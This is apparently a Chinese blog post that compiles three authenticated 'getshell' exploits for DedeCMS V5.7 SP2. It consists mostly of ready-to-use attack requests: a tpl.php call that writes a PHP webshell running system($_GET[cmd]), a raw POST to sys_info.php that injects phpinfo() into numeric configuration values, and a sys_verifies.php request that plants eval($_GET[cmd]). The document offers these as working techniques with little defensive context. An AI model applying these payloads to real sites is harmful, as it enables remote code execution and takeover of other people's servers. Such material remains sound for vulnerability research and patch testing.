版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/caiqiiqi/article/details/83992719
1后台getshell
https://www.freebuf.com/vuls/164035.html
https://github.com/SecWiki/CMS-Hunter/tree/master/DedeCMS/DedeCMS V5.7 SP2后台存在代码执行漏洞
dede/tpl.php
任意文件写入漏洞。
条件:已登录后台。
- 首先访问
/dede/tpl.php?action=upload
获取token值
- 访问
/dede/tpl.php?filename=<yourname>.lib.php&action=savetagfile&content=<%3fphp+@system($_GET[cmd])%3b%3f>&token=<your_token>
即可在/include/taglib/yourname.lib.php
生成webshell。
- 然后直接访问即可。
在发表软件或者文章的时候,若出现没有对应的 栏目,则可以在后台进行设置。
2 /dede/sys_info.php通过更改系统配置getshell
来源:https://xz.aliyun.com/t/2071
思路:把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。
在进行普通的字符串设置的时候,后台会把单引号过滤掉,比如为在ftp_user那里写了phpinfo(),后台得到的内容为:
$cfg_ftp_user = 'xxx;phpinfo()';
而如果在数字型的配置中写入phpinfo(),则得到:
$cfg_ftp_port = 21;phpinfo();
POST /dede/sys_info.php HTTP/1.1
Host: 192.168.170.139
Content-Length: 224
Cache-Control: max-age=0
Origin: http://192.168.170.139
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3590.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.170.139/dede/sys_info.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1%2C4_1; PHPSESSID=nbk8c8n5g5q0qmejc0vb95qs9f; met_auth=901eW8fD%2FVlpik8rnTb0yQIFO214LjRemr5nSH3ZjGjWkgEQlatZlgc2uBFpu2YFwomaf6YjyY8vlgqTFAGahxzZUA; met_key=H57xvPc; langset=cn; upgraderemind=1; lastCid=1; _csrf_name_e5f4de18=7fa3a717da97d0bd6c0e88a1b9385903; _csrf_name_e5f4de18__ckMd5=0af67c6d2900105f; DedeUserID=3; DedeUserID__ckMd5=f75fbc53eccce161; DedeLoginTime=1542006832; DedeLoginTime__ckMd5=1eb3820ff2689cce; last_vtime=1542006840; last_vtime__ckMd5=018893a36a2a96c5; last_vid=77caikiki; last_vid__ckMd5=8150fc0e0329f2f6; lastCid__ckMd5=601187a898a21c80; ENV_GOBACK_URL=%2Fmember%2Fuploads_select.php
Connection: close
token=663f3e32190a6f95e39419c2c3a76f19&dopost=save&edit___cfg_ftp_host=&edit___cfg_ftp_port=21;phpinfo()&edit___cfg_ftp_user=&edit___cfg_ftp_pwd=&edit___cfg_ftp_root=%2F&edit___cfg_ftp_mkdir=N&imageField.x=42&imageField.y=13
注意这里的token为get这个页面是得到的token。
其实通过查看配置文件,发现可以插入的点还挺多的,只要不是字符串型的数字型的应该都可以。
比如$cfg_arcautosp_size
,可以通过POST传入:edit___cfg_arcautosp_size=5;phpinfo()
即可。
3 getshell
https://xz.aliyun.com/t/2237
首先:
GET /dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[cmd]);die();//
然后访问:
GET /dede/sys_verifies.php?action=down&cmd=phpinfo();